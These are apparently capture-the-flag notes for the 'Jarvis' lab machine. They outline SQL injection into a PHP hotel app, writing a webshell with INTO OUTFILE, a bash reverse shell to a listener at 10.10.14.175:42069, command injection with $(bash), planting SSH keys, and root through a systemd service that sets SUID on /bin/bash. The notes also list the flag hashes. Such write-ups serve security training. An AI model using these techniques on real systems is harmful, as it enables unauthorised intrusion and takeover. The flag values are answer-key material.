Jarvis — Attack Chain (ROOTED)¶
Current Path¶
nmap (22 / 80 / 64999)
→ Stark Hotel PHP app on :80, room.php?cod=N
→ SQL injection (UNION, 7 cols, MariaDB 10.1.48, user = DBadmin@localhost)
→ DB user has FILE privilege
→ INTO OUTFILE writes PHP webshell to /var/www/html/yourmom.php
→ RCE as www-data (?cmd= webshell)
→ upgrade to interactive shell: bash -c reverse shell → rlwrap nc -lnvp 42069 (tun0 10.10.14.175)
→ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p → command injection ($(bash))
→ shell as pepper (generate SSH key, plant pubkey, SSH in) → user.txt
→ pepper sudo /bin/systemctl → malicious .service (ExecStart=/usr/bin/chmod u+s /bin/bash)
→ SUID /bin/bash → bash -p → root → root.txt
Branch Points¶
- Web vs SSH: no creds → web (:80) primary. SSH later used for stable pepper access.
- :64999 IronWAF 2.0.3: rabbit hole — no public exploit, abandoned.
- SQLi: data vs capability: app schema had only a
roomtable (no app users). Pivoted from dumping data to abusingFILEprivilege → OUTFILE webshell. Key insight. - Reverse shell vs local shell: rev-shell callbacks got
Connection refused; used local$(bash)via the injection instead. - pepper persistence: generated a fresh keypair in pepper's
.ssh+ appended to authorized_keys (couldn't write key as www-data — needed pepper first).
Status¶
- Foothold (www-data)
- User (pepper) — user.txt
e9d237221e586eb5218da98fc80fcf55 - Root — root.txt
3a72bb5d8b34634df1167e828c9aa750